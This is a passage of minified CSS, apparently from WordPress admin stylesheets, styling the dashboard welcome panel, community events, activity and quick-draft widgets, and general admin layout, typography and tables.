svg{transform:scaleX(-1)}.welcome-panel-header *{color:inherit;position:relative;z-index:1}.welcome-panel-header a:focus,.welcome-panel-header a:hover{color:inherit;text-decoration:none}.welcome-panel .welcome-panel-close:focus,.welcome-panel-header a:focus{outline-color:currentColor;outline-offset:1px;box-shadow:none}.welcome-panel-header p{margin:.5em 0 0;font-size:20px;line-height:1.4}.welcome-panel .welcome-panel-close{position:absolute;top:10px;left:10px;padding:10px 24px 10px 15px;font-size:13px;line-height:1.23076923;text-decoration:none;z-index:1}.welcome-panel .welcome-panel-close:before{position:absolute;top:8px;right:0;transition:all .1s ease-in-out;content:'\f335';font-size:24px;color:#fff}.welcome-panel .welcome-panel-close{color:#fff}.welcome-panel .welcome-panel-close:focus,.welcome-panel .welcome-panel-close:focus::before,.welcome-panel .welcome-panel-close:hover,.welcome-panel .welcome-panel-close:hover::before{color:#fff972}.wp-core-ui .welcome-panel .button.button-hero{margin:15px 0 3px 13px;padding:12px 36px;height:auto;line-height:1.4285714;white-space:normal}.welcome-panel-content{min-height:400px;display:flex;flex-direction:column;justify-content:space-between}.welcome-panel-header{box-sizing:border-box;margin-right:auto;margin-left:auto;max-width:1500px;width:100%;padding:48px 48px 80px 0}.welcome-panel .welcome-panel-column-container{box-sizing:border-box;width:100%;clear:both;display:grid;z-index:1;padding:48px;grid-template-columns:repeat(3,1fr);gap:32px;align-self:flex-end;background:#fff}[class*=welcome-panel-icon]{height:60px;width:60px;background-position:center;background-size:24px 24px;background-repeat:no-repeat;border-radius:100%}.welcome-panel-column>svg{margin-top:4px}.welcome-panel-column{display:grid;grid-template-columns:min-content 1fr;gap:24px}.welcome-panel-icon-pages{background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24'%3E%3Cpath fill='%23fff' d='M7 13.8h6v-1.5H7v1.5zM18 16V4c0-1.1-.9-2-2-2H6c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2zM5.5 16V4c0-.3.2-.5.5-.5h10c.3 0 .5.2.5.5v12c0 .3-.2.5-.5.5H6c-.3 0-.5-.2-.5-.5zM7 10.5h8V9H7v1.5zm0-3.3h8V5.8H7v1.4zM20.2 6v13c0 .7-.6 1.2-1.2 1.2H8v1.5h11c1.5 0 2.7-1.2 2.7-2.8V6h-1.5z' /%3E%3C/svg%3E")}.welcome-panel-icon-layout{background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24'%3E%3Cpath fill='%23fff' d='M18 5.5H6a.5.5 0 00-.5.5v3h13V6a.5.5 0 00-.5-.5zm.5 5H10v8h8a.5.5 0 00.5-.5v-7.5zm-10 0h-3V18a.5.5 0 00.5.5h2.5v-8zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z' /%3E%3C/svg%3E")}.welcome-panel-icon-styles{background-image:url("data:image/svg+xml,%3Csvg viewBox='0 0 24 24' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath fill='%23fff' d='M12 4c-4.4 0-8 3.6-8 8v.1c0 4.1 3.2 7.5 7.2 7.9h.8c4.4 0 8-3.6 8-8s-3.6-8-8-8zm0 15V5c3.9 0 7 3.1 7 7s-3.1 7-7 7z' /%3E%3C/svg%3E")}.welcome-panel .welcome-widgets-menus{line-height:1.14285714}.welcome-panel .welcome-panel-column ul{margin:.8em 0 1em 1em}.welcome-panel li{font-size:14px}.welcome-panel li a{text-decoration:none}.welcome-panel .welcome-panel-column li{line-height:1.14285714;list-style-type:none;padding:0 0 8px}.welcome-panel .welcome-icon{background:0 0!important}#dashboard_right_now .search-engines-info:before,#dashboard_right_now li a:before,#dashboard_right_now li span:before,.welcome-panel .welcome-icon:before{color:#646970;font:normal 20px/1 dashicons;speak:never;display:inline-block;padding:0 0 0 10px;position:relative;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-decoration:none!important;vertical-align:top}.welcome-panel .welcome-edit-page:before,.welcome-panel .welcome-write-blog:before{content:"\f119";top:-3px}.welcome-panel .welcome-add-page:before{content:"\f132";top:-1px}.welcome-panel .welcome-setup-home:before{content:"\f102";top:-1px}.welcome-panel .welcome-view-site:before{content:"\f115";top:-2px}.welcome-panel .welcome-widgets-menus:before{content:"\f116";top:-2px}.welcome-panel .welcome-widgets:before{content:"\f538";top:-2px}.welcome-panel .welcome-menus:before{content:"\f163";top:-2px}.welcome-panel .welcome-comments:before{content:"\f117";top:-1px}.welcome-panel .welcome-learn-more:before{content:"\f118";top:-1px}#dashboard_right_now .search-engines-info:before,#dashboard_right_now li a:before,#dashboard_right_now li>span:before{content:"\f159";padding:0 0 0 5px}#dashboard_right_now .page-count a:before,#dashboard_right_now .page-count span:before{content:"\f105"}#dashboard_right_now .post-count a:before,#dashboard_right_now .post-count span:before{content:"\f109"}#dashboard_right_now .comment-count a:before{content:"\f101"}#dashboard_right_now .comment-mod-count a:before{content:"\f125"}#dashboard_right_now .storage-count a:before{content:"\f104"}#dashboard_right_now .storage-count.warning a:before{content:"\f153"}#dashboard_right_now .search-engines-info:before{content:"\f348"}.community-events-errors{margin:0}.community-events-loading{padding:10px 12px 8px}.community-events{margin-bottom:6px;padding:0 12px}.community-events .spinner{float:none;margin:5px 2px 0;vertical-align:top}.community-events form[aria-hidden=true],.community-events-errors [aria-hidden=true],.community-events-errors[aria-hidden=true],.community-events-loading[aria-hidden=true],.community-events[aria-hidden=true]{display:none}.community-events .activity-block:first-child,.community-events h2{padding-top:12px;padding-bottom:10px}.community-events-form{margin:15px 0 5px}.community-events-form .regular-text{width:40%;height:29px;margin:0;vertical-align:top}.community-events li.event-none{border-right:4px solid #72aee6}#dashboard-widgets .community-events li.event-none a{text-decoration:underline}.community-events-form label{display:inline-block;vertical-align:top;line-height:2.15384615;height:28px}.community-events .activity-block>p{margin-bottom:0;display:inline}.community-events-toggle-location{vertical-align:middle}#community-events-submit{margin-right:3px;margin-left:3px}#dashboard-widgets .community-events-cancel.button-link{vertical-align:top;line-height:2;height:28px;text-decoration:underline}.community-events ul{background-color:#f6f7f7;padding-right:0;padding-left:0;padding-bottom:0}.community-events li{margin:0;padding:8px 12px;color:#2c3338}.community-events li:first-child{border-top:1px solid #f0f0f1}.community-events li~li{border-top:1px solid #f0f0f1}.community-events .activity-block.last{border-bottom:1px solid #f0f0f1;padding-top:0;margin-top:-1px}.community-events .event-info{display:block}.community-events .ce-separator::before{content:"\2022"}.event-icon{height:18px;padding-left:10px;width:18px;display:none}.event-icon:before{color:#646970;font-size:18px}.event-meetup .event-icon:before{content:"\f484"}.event-wordcamp .event-icon:before{content:"\f486"}.community-events .event-title{font-weight:600;display:block}.community-events .event-date,.community-events .event-time{display:block}.community-events-footer{margin-top:0;margin-bottom:0;padding:12px;border-top:1px solid #f0f0f1;color:#dcdcde}.community-events-footer .screen-reader-text{height:inherit;white-space:nowrap}#dashboard_primary .inside{margin:0;padding:0}#dashboard_primary .widget-loading{padding:12px 12px 0;margin-bottom:1em!important}#dashboard_primary .inside .notice{margin:0}body #dashboard-widgets .postbox form .submit{margin:0}.dashboard-widget-control-form p{margin-top:0}.rssSummary{color:#646970;margin-top:4px}#dashboard_primary .rss-widget{font-size:13px;padding:0 12px}#dashboard_primary .rss-widget:last-child{border-bottom:none;padding-bottom:8px}#dashboard_primary .rss-widget a{font-weight:400}#dashboard_primary .rss-widget span,#dashboard_primary .rss-widget span.rss-date{color:#646970}#dashboard_primary .rss-widget span.rss-date{margin-right:12px}#dashboard_primary .rss-widget ul li{padding:4px 0;margin:0}#dashboard_right_now ul{margin:0;display:inline-block;width:100%}#dashboard_right_now li{width:50%;float:right;margin-bottom:10px}#dashboard_right_now .inside{padding:0}#dashboard_right_now .main{padding:0 12px 11px}#dashboard_right_now .main p{margin:0}#dashboard_right_now #wp-version-message .button{float:left;position:relative;top:-5px;margin-right:5px}#dashboard_right_now p.search-engines-info{margin:1em 0}.mu-storage{overflow:hidden}#dashboard-widgets h3.mu-storage{margin:0 0 10px;padding:0;font-size:14px;font-weight:400}#dashboard_right_now .sub{color:#50575e;background:#f6f7f7;border-top:1px solid #f0f0f1;padding:10px 12px 6px}#dashboard_right_now .sub h3{color:#50575e}#dashboard_right_now .sub p{margin:0 0 1em}#dashboard_right_now .warning a:before,#dashboard_right_now .warning span:before{color:#d63638}#dashboard_quick_press .inside{margin:0;padding:0}#dashboard_quick_press div.updated{margin-bottom:10px;border:1px solid #f0f0f1;border-width:1px 0 1px 1px}#dashboard_quick_press form{margin:12px}#dashboard_quick_press .drafts{padding:10px 0 0}#dashboard_quick_press label{display:inline-block;margin-bottom:4px}#dashboard_quick_press input,#dashboard_quick_press textarea{box-sizing:border-box;margin:0}#dashboard-widgets .postbox form .submit{margin:-39px 0;float:left}#description-wrap{margin-top:12px}#quick-press textarea#content{min-height:90px;max-height:1300px;margin:0 0 8px;padding:6px 7px;resize:none}.js #dashboard_quick_press .drafts{border-top:1px solid #f0f0f1}#dashboard_quick_press .drafts abbr{border:none}#dashboard_quick_press .drafts .view-all{float:left;margin:0 0 0 12px}#dashboard_primary a.rsswidget{font-weight:400}#dashboard_quick_press .drafts ul{margin:0 12px}#dashboard_quick_press .drafts li{margin-bottom:1em}#dashboard_quick_press .drafts li time{color:#646970}#dashboard_quick_press .drafts p{margin:0;word-wrap:break-word}#dashboard_quick_press .draft-title{word-wrap:break-word}#dashboard_quick_press .draft-title a,#dashboard_quick_press .draft-title time{margin:0 0 0 5px}#dashboard-widgets h3,#dashboard-widgets h4,#dashboard_quick_press .drafts h2{margin:0 12px 8px;padding:0;font-size:14px;font-weight:400;color:#1d2327}#dashboard_quick_press .drafts h2{line-height:inherit}#dashboard-widgets .inside h3,#dashboard-widgets .inside h4{margin-right:0;margin-left:0}#dashboard_activity .comment-meta span.approve:before{content:"\f227";font:20px/.5 dashicons;margin-right:5px;vertical-align:middle;position:relative;top:-1px;margin-left:2px}#dashboard_activity .inside{margin:0;padding-bottom:0}#dashboard_activity .no-activity{overflow:hidden;padding:12px 0;text-align:center}#dashboard_activity .no-activity p{color:#646970;font-size:16px}#dashboard_activity .subsubsub{float:none;border-top:1px solid #f0f0f1;margin:0 -12px;padding:8px 12px 4px}#dashboard_activity .subsubsub a .count,#dashboard_activity .subsubsub a.current .count{color:#646970}#future-posts ul,#published-posts ul{margin:8px -12px 0 -12px}#future-posts li,#published-posts li{display:grid;grid-template-columns:clamp(160px,calc(2vw + 140px),200px) auto;column-gap:10px;color:#646970;padding:4px 12px}#future-posts li:nth-child(odd),#published-posts li:nth-child(odd){background-color:#f6f7f7}.activity-block{border-bottom:1px solid #f0f0f1;margin:0 -12px 6px -12px;padding:8px 12px 4px}.activity-block:last-child{border-bottom:none;margin-bottom:0}.activity-block .subsubsub li{color:#dcdcde}#activity-widget #the-comment-list div.undo,#activity-widget #the-comment-list tr.undo{background:0 0;padding:6px 0;margin-right:12px}#activity-widget #the-comment-list .comment-item{background:#f6f7f7;padding:12px;position:relative}#activity-widget #the-comment-list .avatar{position:absolute;top:12px}#activity-widget #the-comment-list .dashboard-comment-wrap.has-avatar{padding-right:63px}#activity-widget #the-comment-list .dashboard-comment-wrap blockquote{margin:1em 0}#activity-widget #the-comment-list .comment-item p.row-actions{margin:4px 0 0}#activity-widget #the-comment-list .comment-item:first-child{border-top:1px solid #f0f0f1}#activity-widget #the-comment-list .unapproved{background-color:#fcf9e8}#activity-widget #the-comment-list .unapproved:before{content:"";display:block;position:absolute;right:0;top:0;bottom:0;background:#d63638;width:4px}#activity-widget #the-comment-list .spam-undo-inside .avatar,#activity-widget #the-comment-list .trash-undo-inside .avatar{position:relative;top:0}#dashboard-widgets #dashboard_browser_nag.postbox .inside{margin:10px}.postbox .button-link .edit-box{display:none}.edit-box{opacity:0}.edit-box:focus,.hndle:hover .edit-box{opacity:1}#dashboard-widgets form .input-text-wrap input{width:100%}#dashboard-widgets form .textarea-wrap textarea{width:100%}#dashboard-widgets .postbox form .submit{float:none;margin:.5em 0 0;padding:0;border:none}#dashboard-widgets-wrap #dashboard-widgets .postbox form .submit #publish{min-width:0}#dashboard-widgets .button-link,#dashboard-widgets li a,.community-events-footer a{text-decoration:none}#dashboard-widgets h2 a{text-decoration:underline}#dashboard-widgets .hndle .postbox-title-action{float:left;line-height:1.2}#dashboard_plugins h5{font-size:14px}#latest-comments #the-comment-list{position:relative;margin:0 -12px}#activity-widget #the-comment-list .comment,#activity-widget #the-comment-list .pingback{box-shadow:inset 0 1px 0 rgba(0,0,0,.06)}#activity-widget .comments #the-comment-list .alt{background-color:transparent}#activity-widget #latest-comments #the-comment-list .comment-item{min-height:50px;margin:0;padding:12px}#latest-comments #the-comment-list .pingback{padding-right:12px!important}#latest-comments #the-comment-list .comment-item:first-child{border-top:none}#latest-comments #the-comment-list .comment-meta{line-height:1.5;margin:0;color:#646970}#latest-comments #the-comment-list .comment-meta cite{font-style:normal;font-weight:400}#latest-comments #the-comment-list .comment-item blockquote,#latest-comments #the-comment-list .comment-item blockquote p{margin:0;padding:0;display:inline}#latest-comments #the-comment-list .comment-item p.row-actions{margin:3px 0 0;padding:0;font-size:13px}.rss-widget ul{margin:0;padding:0;list-style:none}a.rsswidget{font-size:13px;font-weight:600;line-height:1.4}.rss-widget ul li{line-height:1.5;margin-bottom:12px}.rss-widget span.rss-date{color:#646970;font-size:13px;margin-right:3px}.rss-widget cite{display:block;text-align:left;margin:0 0 1em;padding:0}.rss-widget cite:before{content:"\2014"}.dashboard-comment-wrap{word-wrap:break-word}#dashboard_browser_nag a.update-browser-link{font-size:1.2em;font-weight:600}#dashboard_browser_nag a{text-decoration:underline}#dashboard_browser_nag p.browser-update-nag.has-browser-icon{padding-left:128px}#dashboard_browser_nag .browser-icon{margin-top:-32px}#dashboard_browser_nag.postbox{background-color:#b32d2e;background-image:none;border-color:#b32d2e;color:#fff;box-shadow:none}#dashboard_browser_nag.postbox h2{border-bottom-color:transparent;background:transparent none;color:#fff;box-shadow:none}#dashboard_browser_nag a{color:#fff}#dashboard_browser_nag.postbox .postbox-header{border-color:transparent}#dashboard_browser_nag h2.hndle{border:none;font-weight:600;font-size:20px;padding-top:10px}.postbox#dashboard_browser_nag p a.dismiss{font-size:14px}.postbox#dashboard_browser_nag a,.postbox#dashboard_browser_nag p,.postbox#dashboard_browser_nag p.browser-update-nag{font-size:16px}#dashboard_php_nag .dashicons-warning{color:#dba617;padding-left:6px}#dashboard_php_nag.php-no-security-updates .dashicons-warning,#dashboard_php_nag.php-version-lower-than-future-minimum .dashicons-warning{color:#d63638}#dashboard_php_nag h2{display:inline-block}#dashboard_php_nag p{margin:12px 0}#dashboard_php_nag .button .dashicons-external{line-height:25px}.bigger-bolder-text{font-weight:600;font-size:14px}@media only screen and (min-width:1600px){.welcome-panel .welcome-panel-column-container{display:flex;justify-content:center}.welcome-panel-column{width:100%;max-width:460px}}@media only screen and (max-width:799px){#wpbody-content #dashboard-widgets .postbox-container{width:100%}#dashboard-widgets .meta-box-sortables{min-height:0}.is-dragging-metaboxes #dashboard-widgets .meta-box-sortables{min-height:100px}#dashboard-widgets .meta-box-sortables.empty-container{margin-bottom:0}}@media only screen and (min-width:800px) and (max-width:1499px){#wpbody-content #dashboard-widgets .postbox-container{width:49.5%}#wpbody-content #dashboard-widgets #postbox-container-2,#wpbody-content #dashboard-widgets #postbox-container-3,#wpbody-content #dashboard-widgets #postbox-container-4{float:left;width:50.5%}#dashboard-widgets #postbox-container-3 .empty-container,#dashboard-widgets #postbox-container-4 .empty-container{outline:0;height:0;min-height:0;margin-bottom:0}#dashboard-widgets #postbox-container-3 .empty-container:after,#dashboard-widgets #postbox-container-4 .empty-container:after{display:none}#wpbody #wpbody-content #dashboard-widgets.columns-1 .postbox-container{width:100%}#wpbody #dashboard-widgets .metabox-holder.columns-1 .postbox-container .empty-container{outline:0;height:0;min-height:0;margin-bottom:0}.index-php .columns-prefs,.index-php .screen-layout{display:block}.columns-prefs .columns-prefs-3,.columns-prefs .columns-prefs-4{display:none}#dashboard-widgets .postbox-container .empty-container:after{display:block}}@media only screen and (min-width:1500px) and (max-width:1800px){#wpbody-content #dashboard-widgets .postbox-container{width:33.5%}#wpbody-content #dashboard-widgets #postbox-container-1{width:33%}#wpbody-content #dashboard-widgets #postbox-container-3,#wpbody-content #dashboard-widgets #postbox-container-4{float:left}#dashboard-widgets #postbox-container-4 .empty-container{outline:0;height:0;min-height:0;margin-bottom:0}#dashboard-widgets #postbox-container-4 .empty-container:after{display:none}#dashboard-widgets .postbox-container .empty-container:after{display:block}}@media only screen and (min-width:1801px){#dashboard-widgets .postbox-container .empty-container:after{display:block}}@media screen and (max-width:870px){.welcome-panel .welcome-panel-column li{display:inline-block;margin-left:13px}.welcome-panel .welcome-panel-column ul{margin:.4em 0 0}}@media screen and (max-width:1180px) and (min-width:783px){.welcome-panel-column{grid-template-columns:1fr}.welcome-panel-column>svg,[class*=welcome-panel-icon]{display:none}}@media screen and (max-width:782px){.welcome-panel .welcome-panel-column-container{grid-template-columns:1fr;box-sizing:border-box;padding:32px;width:100%}.welcome-panel .welcome-panel-column-content{max-width:520px}.welcome-panel .welcome-panel-close{overflow:hidden;text-indent:40px;white-space:nowrap;width:20px;height:20px;padding:5px;top:5px;left:5px}.welcome-panel .welcome-panel-close::before{top:5px;right:-35px}#dashboard-widgets h2{padding:12px}#dashboard_recent_comments #the-comment-list .comment-item .avatar{height:30px;width:30px;margin:4px 0 5px 10px}.community-events-toggle-location{height:38px;vertical-align:baseline}.community-events-form .regular-text{height:32px}#community-events-submit{margin-bottom:0;vertical-align:top}#dashboard-widgets .community-events-cancel.button-link,.community-events-form label{font-size:14px;line-height:normal;height:auto;padding:6px 0;border:1px solid transparent}.community-events .spinner{margin-top:7px}}@media screen and (max-width:600px){.welcome-panel-header{padding:32px 32px 64px}.welcome-panel-header-image{display:none}}@media screen and (max-width:480px){.welcome-panel-column{gap:16px}}@media screen and (max-width:360px){.welcome-panel-column{grid-template-columns:1fr}.welcome-panel-column>svg,[class*=welcome-panel-icon]{display:none}}@media screen and (min-width:355px){.community-events .event-info{display:table-row;float:right;max-width:59%}.event-icon,.event-icon[aria-hidden=true]{display:table-cell}.event-info-inner{display:table-cell}.community-events .event-date-time{float:left;max-width:39%}.community-events .event-date,.community-events .event-time{text-align:left}}/*! This file is auto-generated */
#wpwrap{height:auto;min-height:100%;width:100%;position:relative;-webkit-font-smoothing:subpixel-antialiased}#wpcontent{height:100%;padding-left:20px}#wpcontent,#wpfooter{margin-left:160px}.folded #wpcontent,.folded #wpfooter{margin-left:36px}#wpbody-content{padding-bottom:65px;float:left;width:100%;overflow:visible}.inner-sidebar{float:right;clear:right;display:none;width:281px;position:relative}.columns-2 .inner-sidebar{margin-right:auto;width:286px;display:block}.columns-2 .inner-sidebar #side-sortables,.inner-sidebar #side-sortables{min-height:300px;width:280px;padding:0}.has-right-sidebar .inner-sidebar{display:block}.has-right-sidebar #post-body{float:left;clear:left;width:100%;margin-right:-2000px}.has-right-sidebar #post-body-content{margin-right:300px;float:none;width:auto}#col-left{float:left;width:35%}#col-right{float:right;width:65%}#col-left .col-wrap{padding:0 6px 0 0}#col-right .col-wrap{padding:0 0 0 6px}.alignleft{float:left}.alignright{float:right}.textleft{text-align:left}.textright{text-align:right}.clear{clear:both}.wp-clearfix:after{content:"";display:table;clear:both}.screen-reader-text,.screen-reader-text span,.ui-helper-hidden-accessible{border:0;clip:rect(1px,1px,1px,1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal!important}.button .screen-reader-text{height:auto}.screen-reader-text+.dashicons-external{margin-top:-1px;margin-left:2px}.screen-reader-shortcut{position:absolute;top:-1000em;left:6px;height:auto;width:auto;display:block;font-size:14px;font-weight:600;padding:15px 23px 14px;background:#f0f0f1;color:#2271b1;z-index:100000;line-height:normal}.screen-reader-shortcut:focus{top:-25px;color:#2271b1;box-shadow:0 0 2px 2px rgba(0,0,0,.6);text-decoration:none;outline:2px solid transparent;outline-offset:-2px}.hidden,.js .closed .inside,.js .hide-if-js,.js .wp-core-ui .hide-if-js,.js.wp-core-ui .hide-if-js,.no-js .hide-if-no-js,.no-js .wp-core-ui .hide-if-no-js,.no-js.wp-core-ui .hide-if-no-js{display:none}#menu-management .menu-edit,#menu-settings-column .accordion-container,.comment-ays,.feature-filter,.manage-menus,.menu-item-handle,.popular-tags,.stuffbox,.widget-inside,.widget-top,.widgets-holder-wrap,.wp-editor-container,p.popular-tags,table.widefat{border:1px solid #c3c4c7;box-shadow:0 1px 1px rgba(0,0,0,.04)}.comment-ays,.feature-filter,.popular-tags,.stuffbox,.widgets-holder-wrap,.wp-editor-container,p.popular-tags,table.widefat{background:#fff}body,html{height:100%;margin:0;padding:0}body{background:#f0f0f1;color:#3c434a;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;font-size:13px;line-height:1.4em;min-width:600px}body.iframe{min-width:0;padding-top:1px}body.modal-open{overflow:hidden}body.mobile.modal-open #wpwrap{overflow:hidden;position:fixed;height:100%}iframe,img{border:0}td{font-family:inherit;font-size:inherit;font-weight:inherit;line-height:inherit}a{color:#2271b1;transition-property:border,background,color;transition-duration:.05s;transition-timing-function:ease-in-out}a,div{outline:0}a:active,a:hover{color:#135e96}.wp-person a:focus .gravatar,a:focus,a:focus .media-icon img,a:focus .plugin-icon{color:#043959;box-shadow:0 0 0 2px #2271b1;outline:2px solid transparent}#adminmenu a:focus{box-shadow:none;outline:1px solid transparent;outline-offset:-1px}.screen-reader-text:focus{box-shadow:none;outline:0}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:"";content:none}.wp-die-message,p{font-size:13px;line-height:1.5;margin:1em 0}blockquote{margin:1em}dd,li{margin-bottom:6px}h1,h2,h3,h4,h5,h6{display:block;font-weight:600}h1{color:#1d2327;font-size:2em;margin:.67em 0}h2,h3{color:#1d2327;font-size:1.3em;margin:1em 0}.update-core-php h2{margin-top:4em}.update-messages h2,.update-php h2,h4{font-size:1em;margin:1.33em 0}h5{font-size:.83em;margin:1.67em 0}h6{font-size:.67em;margin:2.33em 0}ol,ul{padding:0}ul{list-style:none}ol{list-style-type:decimal;margin-left:2em}ul.ul-disc{list-style:disc outside}ul.ul-square{list-style:square outside}ol.ol-decimal{list-style:decimal outside}ol.ol-decimal,ul.ul-disc,ul.ul-square{margin-left:1.8em}ol.ol-decimal>li,ul.ul-disc>li,ul.ul-square>li{margin:0 0 .5em}.ltr{direction:ltr}.code,code{font-family:Consolas,Monaco,monospace;direction:ltr;unicode-bidi:embed}code,kbd{padding:3px 5px 2px;margin:0 1px;background:#f0f0f1;background:rgba(0,0,0,.07);font-size:13px}.subsubsub{list-style:none;margin:8px 0 0;padding:0;font-size:13px;float:left;color:#646970}.subsubsub a{line-height:2;padding:.2em;text-decoration:none}.subsubsub a .count,.subsubsub a.current .count{color:#50575e;font-weight:400}.subsubsub a.current{font-weight:600;border:none}.subsubsub li{display:inline-block;margin:0;padding:0;white-space:nowrap}.widefat{border-spacing:0;width:100%;clear:both;margin:0}.widefat *{word-wrap:break-word}.widefat a,.widefat button.button-link{text-decoration:none}.widefat td,.widefat th{padding:8px 10px}.widefat thead td,.widefat thead th{border-bottom:1px solid #c3c4c7}.widefat tfoot td,.widefat tfoot th{border-top:1px solid #c3c4c7;border-bottom:none}.widefat .no-items td{border-bottom-width:0}.widefat td{vertical-align:top}.widefat td,.widefat td ol,.widefat td p,.widefat td ul{font-size:13px;line-height:1.5em}.widefat tfoot td,.widefat th,.widefat thead td{text-align:left;line-height:1.3em;font-size:14px}.updates-table td input,.widefat tfoot td input,.widefat th input,.widefat thead td input{margin:0 0 0 8px;padding:0;vertical-align:text-top}.widefat .check-column{width:2.2em;padding:6px 0 25px;vertical-align:top}.widefat tbody th.check-column{padding:9px 0 22px}.updates-table tbody td.check-column,.widefat tbody th.check-column,.widefat tfoot td.check-column,.widefat thead td.check-column{padding:11px 0 0 3px}.widefat tfoot td.check-column,.widefat thead td.check-column{padding-top:4px;vertical-align:middle}.update-php div.error,.update-php div.updated{margin-left:0}.js-update-details-toggle .dashicons{text-decoration:none}.js-update-details-toggle[aria-expanded=true] .dashicons::before{content:"\f142"}.no-js .widefat tfoot .check-column input,.no-js .widefat thead .check-column input{display:none}.column-comments,.column-links,.column-posts,.widefat .num{text-align:center}.widefat th#comments{vertical-align:middle}.wrap{margin:10px 20px 0 2px}.postbox .inside h2,.wrap [class$=icon32]+h2,.wrap h1,.wrap>h2:first-child{font-size:23px;font-weight:400;margin:0;padding:9px 0 4px;line-height:1.3}.wrap h1.wp-heading-inline{display:inline-block;margin-right:5px}.wp-header-end{visibility:hidden;margin:-2px 0 0}.subtitle{margin:0;padding-left:25px;color:#50575e;font-size:14px;font-weight:400;line-height:1}.subtitle strong{word-break:break-all}.wrap .add-new-h2,.wrap .add-new-h2:active,.wrap .page-title-action,.wrap .page-title-action:active{display:inline-block;position:relative;box-sizing:border-box;cursor:pointer;white-space:nowrap;text-decoration:none;text-shadow:none;top:-3px;margin-left:4px;border:1px solid #2271b1;border-radius:3px;background:#f6f7f7;font-size:13px;font-weight:400;line-height:2.15384615;color:#2271b1;padding:0 10px;min-height:30px;-webkit-appearance:none}.wrap .wp-heading-inline+.page-title-action{margin-left:0}.wrap .add-new-h2:hover,.wrap .page-title-action:hover{background:#f0f0f1;border-color:#0a4b78;color:#0a4b78}.page-title-action:focus{color:#0a4b78}.form-table th label[for=WPLANG] .dashicons,.form-table th label[for=locale] .dashicons{margin-left:5px}.wrap .page-title-action:focus{border-color:#3582c4;box-shadow:0 0 0 1px #3582c4;outline:2px solid transparent}.wrap h1.long-header{padding-right:0}.wp-dialog{background-color:#fff}#available-widgets .widget-top:hover,#widgets-left .widget-in-question .widget-top,#widgets-left .widget-top:hover,.widgets-chooser ul,div#widgets-right .widget-top:hover{border-color:#8c8f94;box-shadow:0 1px 2px rgba(0,0,0,.1)}.sorthelper{background-color:#c5d9ed}.ac_match,.subsubsub a.current{color:#000}.alternate,.striped>tbody>:nth-child(odd),ul.striped>:nth-child(odd){background-color:#f6f7f7}.bar{background-color:#f0f0f1;border-right-color:#4f94d4}.highlight{background-color:#f0f6fc;color:#3c434a}.wp-ui-primary{color:#fff;background-color:#2c3338}.wp-ui-text-primary{color:#2c3338}.wp-ui-highlight{color:#fff;background-color:#2271b1}.wp-ui-text-highlight{color:#2271b1}.wp-ui-notification{color:#fff;background-color:#d63638}.wp-ui-text-notification{color:#d63638}.wp-ui-text-icon{color:#8c8f94}img.emoji{display:inline!important;border:none!important;height:1em!important;width:1em!important;margin:0 .07em!important;vertical-align:-.1em!important;background:0 0!important;padding:0!important;box-shadow:none!important}#nav-menu-footer,#nav-menu-header,#your-profile #rich_editing,.checkbox,.control-section .accordion-section-title,.menu-item-handle,.postbox .hndle,.side-info,.sidebar-name,.stuffbox .hndle,.widefat tfoot td,.widefat tfoot th,.widefat thead td,.widefat thead th,.widget .widget-top{line-height:1.4em}.menu-item-handle,.widget .widget-top{background:#f6f7f7;color:#1d2327}.stuffbox .hndle{border-bottom:1px solid #c3c4c7}.quicktags{background-color:#c3c4c7;color:#000;font-size:12px}.icon32{display:none}#bulk-titles .ntdelbutton:before,.notice-dismiss:before,.tagchecklist .ntdelbutton .remove-tag-icon:before,.welcome-panel .welcome-panel-close:before{background:0 0;color:#787c82;content:"\f153";display:block;font:normal 16px/20px dashicons;speak:never;height:20px;text-align:center;width:20px;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.welcome-panel .welcome-panel-close:before{margin:0}.tagchecklist .ntdelbutton .remove-tag-icon:before{margin-left:2px;border-radius:50%;color:#2271b1;line-height:1.28}.tagchecklist .ntdelbutton:focus{outline:0}#bulk-titles .ntdelbutton:focus:before,#bulk-titles .ntdelbutton:hover:before,.tagchecklist .ntdelbutton:focus .remove-tag-icon:before,.tagchecklist .ntdelbutton:hover .remove-tag-icon:before{color:#d63638}.tagchecklist .ntdelbutton:focus .remove-tag-icon:before{box-shadow:0 0 0 2px #2271b1;outline:2px solid transparent}.key-labels label{line-height:24px}b,strong{font-weight:600}.pre{white-space:pre-wrap;word-wrap:break-word}.howto{color:#646970;display:block}p.install-help{margin:8px 0;font-style:italic}.no-break{white-space:nowrap}hr{border:0;border-top:1px solid #dcdcde;border-bottom:1px solid #f6f7f7}#all-plugins-table .plugins a.delete,#delete-link a.delete,#media-items a.delete,#media-items a.delete-permanently,#nav-menu-footer .menu-delete,#search-plugins-table .plugins a.delete,.plugins a.delete,.privacy_requests .remove-personal-data .remove-personal-data-handle,.row-actions span.delete a,.row-actions span.spam a,.row-actions span.trash a,.submitbox .submitdelete,a#remove-post-thumbnail{color:#b32d2e}#all-plugins-table .plugins a.delete:hover,#delete-link a.delete:hover,#media-items a.delete-permanently:hover,#media-items a.delete:hover,#nav-menu-footer .menu-delete:hover,#search-plugins-table .plugins a.delete:hover,.file-error,.plugins a.delete:hover,.privacy_requests .remove-personal-data .remove-personal-data-handle:hover,.row-actions .delete a:hover,.row-actions .spam a:hover,.row-actions .trash a:hover,.submitbox .submitdelete:hover,a#remove-post-thumbnail:hover,abbr.required,span.required{color:#b32d2e;border:none}#major-publishing-actions{padding:10px;clear:both;border-top:1px solid #dcdcde;background:#f6f7f7}#delete-action{float:left;line-height:2.30769231}#delete-link{line-height:2.30769231;vertical-align:middle;text-align:left;margin-left:8px}#delete-link a{text-decoration:none}#publishing-action{text-align:right;float:right;line-height:1.9}#publishing-action 